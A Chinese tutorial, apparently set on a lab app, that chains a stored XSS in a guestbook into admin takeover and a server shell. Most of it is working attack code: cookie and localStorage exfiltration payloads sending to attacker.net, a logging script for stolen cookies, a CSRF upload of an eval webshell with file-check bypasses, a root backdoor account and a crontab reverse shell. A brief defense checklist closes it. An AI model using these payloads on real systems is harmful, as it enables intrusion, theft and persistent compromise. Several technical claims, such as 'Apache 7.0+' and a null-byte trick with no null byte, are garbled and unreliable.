存储型 XSS 实战链:从留言板到拿下管理员 Shell
一、场景设定
我们用一个真实感的靶场应用来演示完整攻击链。
1.1 应用架构
┌─────────────────────────────────────────────┐
│ 受害应用 (victim.com) │
│ ┌──────────┐ ┌──────────┐ ┌─────────┐ │
│ │ 用户端 │───▶│留言板页面│───▶│ MySQL │ │
│ │ (匿名) │ │ index.php│ │ messages│ │
│ └──────────┘ └──────────┘ └─────────┘ │
│ │ │
│ ▼ │
│ ┌──────────┐ ┌──────────┐ ┌─────────┐ │
│ │ 管理员 │───▶│审核页面 │───▶│审核通过 │ │
│ │(admin) │ │ review.php│ │写入数据库│ │
│ └──────────┘ └──────────┘ └─────────┘ │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 攻击者基础设施 (attacker.net) │
│ ┌────────────┐ ┌────────────┐ ┌───────┐│
│ │ 监听服务器 │ │ C2 控制端 │ │BeEF ││
│ │ steal.php │ │ panel.php │ │server ││
│ └────────────┘ └────────────┘ └───────┘│
└─────────────────────────────────────────────┘
1.2 留言板应用(漏洞代码)
<?php
// index.php —— 首页,所有用户可见
require 'db.php';
// 显示留言
$messages = $conn->query("SELECT * FROM messages WHERE approved=1 ORDER BY id DESC");
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>留言板</title>
<style>body{font-family:sans-serif;max-width:600px;margin:40px auto;}</style></head>
<body>
<h1>留言板</h1>
<form method="POST" action="submit.php">
<p>昵称: <input name="nick" required maxlength="20"></p>
<p>留言: <textarea name="content" rows="4" cols="50" required></textarea></p>
<button type="submit">提交(需审核)</button>
</form>
<hr>
<?php while($row = $messages->fetch_assoc()): ?>
<div style="border:1px solid #eee;padding:10px;margin-bottom:10px;">
<strong><?= htmlspecialchars($row['nick']) ?></strong>
<span style="color:#999;font-size:12px;"><?= $row['created_at'] ?></span>
<p style="margin-top:8px;"><?= $row['content'] ?></p> <!-- ⚠️ 只有 nick 转义了!content 没有! -->
</div>
<?php endwhile; ?>
<!-- 管理员审核入口 -->
<a href="admin/login.php">管理员登录</a>
</body>
</html>
<?php
// admin/login.php —— 管理员登录后可访问 review.php
session_start();
if (isset($_POST['password'])) {
if ($_POST['password'] === ADMIN_PASSWORD) {
$_SESSION['admin'] = true;
header('Location: review.php');
exit;
}
}
?>
<form method="POST"><input type="password" name="password"><button>登录</button></form>
<?php
// admin/review.php —— 管理员审核留言列表
session_start();
if (!$_SESSION['admin']) die('未登录');
require '../db.php';
if ($_GET['action'] === 'approve') {
$stmt = $conn->prepare("UPDATE messages SET approved=1 WHERE id=?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
}
if ($_GET['action'] === 'delete') {
$stmt = $conn->prepare("DELETE FROM messages WHERE id=?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
}
$pending = $conn->query("SELECT * FROM messages WHERE approved=0 ORDER BY id ASC");
?>
<h1>待审核留言</h1>
<table border="1">
<?php while ($row = $pending->fetch_assoc()): ?>
<tr>
<td><?= htmlspecialchars($row['nick']) ?></td>
<!-- ⚠️ 这里 content 也没有转义!管理员审核页面一样中招! -->
<td><?= $row['content'] ?></td>
<td>
<a href="?action=approve&id=<?= $row['id'] ?>">通过</a>
<a href="?action=delete&id=<?= $row['id'] ?>">删除</a>
</td>
</tr>
<?php endwhile; ?>
</table>
二、攻击链 Step 1:投递 XSS Payload
2.1 攻击者提交留言
攻击者填写留言表单:
| 字段 | 值 |
|---|---|
| 昵称 | H4CK3R |
| 留言 | 下方多阶段 Payload |
第一阶段 Payload(纯 Cookie 窃取)
<img src=x onerror="fetch('https://attacker.net/steal?c='+encodeURIComponent(document.cookie))">
第二阶段 Payload(完整会话劫持)
这个 Payload 会在被审核通过后,所有访问者都会中招,同时在管理员审核页面管理员也中招。
<script>
(function(){
var beacon = 'https://attacker.net/steal.php';
var payload = {
cookie: document.cookie,
url: location.href,
ua: navigator.userAgent,
referrer: document.referrer,
timestamp: Date.now()
};
fetch(beacon + '?d=' + btoa(JSON.stringify(payload)), {mode:'no-cors'});
// 尝试收集 localStorage(非 HttpOnly 存储的敏感信息)
try {
var ls = {};
for (var i=0; i<localStorage.length; i++) {
ls[localStorage.key(i)] = localStorage.getItem(localStorage.key(i));
}
fetch(beacon + '?ls=' + btoa(JSON.stringify(ls)), {mode:'no-cors'});
} catch(e){}
})();
</script>
三、攻击链 Step 2:管理员触发 XSS + 获取管理员 Cookie
3.1 管理员审核页面被触发
管理员打开 admin/review.php → 审核列表中直接渲染了 content → Payload 执行。
3.2 攻击者的 steal.php 收到 Cookie
<?php
// steal.php —— 攻击者服务器上的记录脚本
$logFile = 'stolen_cookies.log';
$line = date('[Y-m-d H:i:s]') . ' ' . $_SERVER['REMOTE_ADDR'] . ' | ';
foreach ($_GET as $k=>$v) {
$line .= $k . '=' . $v . ' | ';
}
$line .= "
";
file_put_contents($logFile, $line, FILE_APPEND);
header('Content-Type: image/gif');
// 返回一个 1x1 的 GIF,浏览器无感知
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
?>
3.3 攻击者看到的日志
[2026-08-06 14:23:01] 10.0.0.55 | d=eyJjb29raWUiOiJhZG1pbl9zZXNzaW9uPWh0dHNzZWNyZXRjb2RlIiwidXJsIjoiaHR0cHM6Ly92aWN0aW0uY29tL2FkbWluL3Jldmlldy5waHAiLCJ1YSI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIFhQIDEwLjAiKSBBcHBsZVdlYi1LaXQvNTM3LjM2IChLTUgsIGxpa2UgR2Vja28pIENocm9tZS8xMjUuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJlZmVycmVyIjoiIiwidGltZXN0YW1wIjoxNzUyODc2OTgxMDAwfQ== |
[2026-08-06 14:23:02] 10.0.0.55 | ls=e30= |
攻击者解码 b64:
{
"cookie": "admin_session=httphs3cretc0de",
"url": "https://victim.com/admin/review.php",
"ua": "Mozilla/5.0 (Windows XP 10.0) AppleWebKit/537.36 ...",
"referrer": "",
"timestamp": 1752876981000
}
四、攻击链 Step 3:用窃取的 Cookie 接管管理员会话
4.1 设置 Cookie 到本地浏览器
攻击者在自己的 Chrome DevTools Console 中:
document.cookie = "admin_session=httphs3cretc0de; domain=victim.com; path=/";
location.href = "https://victim.com/admin/review.php";
或者用 curl 直接请求:
curl -b "admin_session=httphs3cretc0de" https://victim.com/admin/review.php
成功以管理员身份进入审核页面!
4.2 注意:HttpOnly Cookie 的区别
如果应用把 admin_session 设了 HttpOnly,那么:
- ✅ 浏览器会自动携带 Cookie
- ❌ JavaScript 的
document.cookie读不到这个值 - ❌ 上面的 Payload 只能拿到非 HttpOnly 的 Cookie
但这不意味着 XSS 没用——接下来攻击者可以利用管理员会话发起 CSRF。
五、攻击链 Step 4:CSRF 结合写入 WebShell
5.1 场景:管理员有权限上传文件
假设管理员还能访问 admin/upload.php,用于上传网站 Logo 图片:
<?php
// admin/upload.php
session_start();
if (!$_SESSION['admin']) die('未登录');
if ($_FILES['logo']) {
$name = $_FILES['logo']['name'];
$ext = pathinfo($name, PATHINFO_EXTENSION);
$allowed = ['png', 'jpg', 'gif', 'webp'];
if (!in_array($ext, $allowed)) die('类型不允许');
$target = 'uploads/' . time() . '.' . $ext;
move_uploaded_file($_FILES['logo']['tmp_name'], $target);
echo "上传成功: $target";
}
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="logo">
<button>上传</button>
</form>
5.2 CSRF Payload 写入留言
攻击者现在需要在 XSS Payload 中发起跨站请求伪造,让管理员在审核留言的时候不知不觉上传一个 PHP WebShell。
方法一:存储型 XSS 直接做 CSRF(不窃取 Cookie 值)
<script>
// 这段代码在管理员浏览器中执行,自动携带 admin_session Cookie(浏览器行为)
(function(){
var fd = new FormData();
// 构造一个"png"文件,实际上内容是 PHP WebShell
var shellContent = '<?php @eval($_POST["cmd"]); ?>';
var blob = new Blob([shellContent], {type: 'image/png'});
// 绕过 ext 检查 —— 某些 PHP 版本 pathinfo 有陷阱
// 1. 用双扩展名 shell.php.png,但 Apache/Nginx 默认不解析
// 2. 用 shell.phtml、shell.pht、shell.php5 等罕见扩展名
// 3. 如果服务器不检查 MIME,直接 .php
var fakeFile = new File([blob], 'logo.php', {type: 'image/png'});
fd.append('logo', fakeFile);
fetch('https://victim.com/admin/upload.php', {
method: 'POST',
body: fd,
credentials: 'same-origin' // 关键:携带 Cookie
}).then(function(r){
return r.text();
}).then(function(t){
// 告诉攻击者上传结果
fetch('https://attacker.net/callback?result=' + encodeURIComponent(t));
});
})();
</script>
5.3 如果上传功能严格限制
绕过后缀检查的真实技巧
<?php
// 绕过 pathinfo() 扩展名检查
// 技巧1:利用 null 字节(PHP < 5.3.4)
$_FILES['logo']['name'] = 'shell.php.png';
// pathinfo 返回 'png',但 move_uploaded_file 把 null 后面的去掉,实际保存为 shell.php
// 技巧2:利用 Apache 解析行为
// file.php.xxx 或 file.php7 —— Apache 7.0+ 只解析最后一个已知扩展名
// 但 Apache 2.x 会把 file.php.xxx 当作 php 解析
// 这需要服务器使用的是 Apache 且未配置 AddType
// 技巧3:.htaccess 上传(如果允许)
// 上传一个 .htaccess 文件,内容:
// AddType application/x-httpd-php .png
// 然后上传 .png WebShell
?>
绕过 MIME 检查
// Blob 构造时指定 type 字段(服务端 getimagesize 绕过更难)
var blob = new Blob([shellContent], {type: 'image/jpeg'});
// 但如果服务端用 getimagesize() 检查真实文件头,就要伪造 JPEG 头部
// JPEG 头是 ÿØÿà
// PNG 头是 PNG
var jpegHeader = new Uint8Array([0xFF, 0xD8, 0xFF, 0xE0]);
var fullContent = new Uint8Array(jpegHeader.length + shellContent.length);
fullContent.set(jpegHeader, 0);
fullContent.set(new TextEncoder().encode(shellContent), jpegHeader.length);
var blob = new Blob([fullContent], {type: 'image/jpeg'});
六、攻击链 Step 5:利用 WebShell 获取服务器权限
6.1 访问 WebShell
假设成功上传到 https://victim.com/uploads/logo.php,攻击者可以:
# 简单命令执行
curl -X POST https://victim.com/uploads/logo.php -d "cmd=system('whoami');"
# 用 AntSword / 菜刀 / 冰蝎 连接图形化管理
# 蚁剑配置:URL = https://victim.com/uploads/logo.php, 密码 = cmd
6.2 进一步持久化
# 在 WebShell 里:
# 1. 加一个隐藏后门账号
adduser backdoor:x:0:0::/home/backdoor:/bin/bash >> /etc/passwd
echo "backdoor:pass123" | chpasswd backdoor
# 2. 写入 crontab 反弹 Shell 定时任务
echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.net/4444 0>&1" > /tmp/cron_job
crontab /tmp/cron_job
# 3. 植入 rootkit 或挖矿程序
# (略)
七、完整攻击链总结
Step 1 攻击者提交恶意留言 ──▶ 数据库(approved=0,待审核)
│
Step 2 管理员打开审核页面 ──▶ XSS 触发 ──▶ steal.php 收集 Cookie/行为
│
Step 3 攻击者拿到 Cookie ──▶ 接管管理员会话(或直接用 XSS 做 CSRF)
│
Step 4 以管理员权限上传 ──▶ WebShell 落地
│
Step 5 通过 WebShell 执行 ──▶ 系统命令 / 提权 / 持久化
│
Step 6 清理痕迹 + 扩展控制 ──▶ 拿下目标服务器
八、防御清单
| 层次 | 措施 | 对应上面哪一步 |
|---|---|---|
| 1. 输入输出 | 所有动态内容(不仅 nick)使用 htmlspecialchars() |
Step 1-2 |
| 2. 上传校验 | 扩展名白名单 + MIME 二次校验 + 不执行 PHP 目录 | Step 4 |
| 3. Cookie | HttpOnly + SameSite=Lax/Strict | Step 2 |
| 4. CSP | script-src 'self' 禁止内联脚本 |
Step 2 |
| 5. CSRF Token | 所有管理操作必须携带 csrf_token | Step 3-4 |
| 6. 监控 | WAF + 异常上传告警 + RASP 检测危险函数 | Step 全链路 |
关键教训:很多开发者只转义了"用户名"这样的"安全字段",却忘了转义"评论内容"这种"富文本字段"。所有从数据库读出的动态内容都要做转义,无一例外。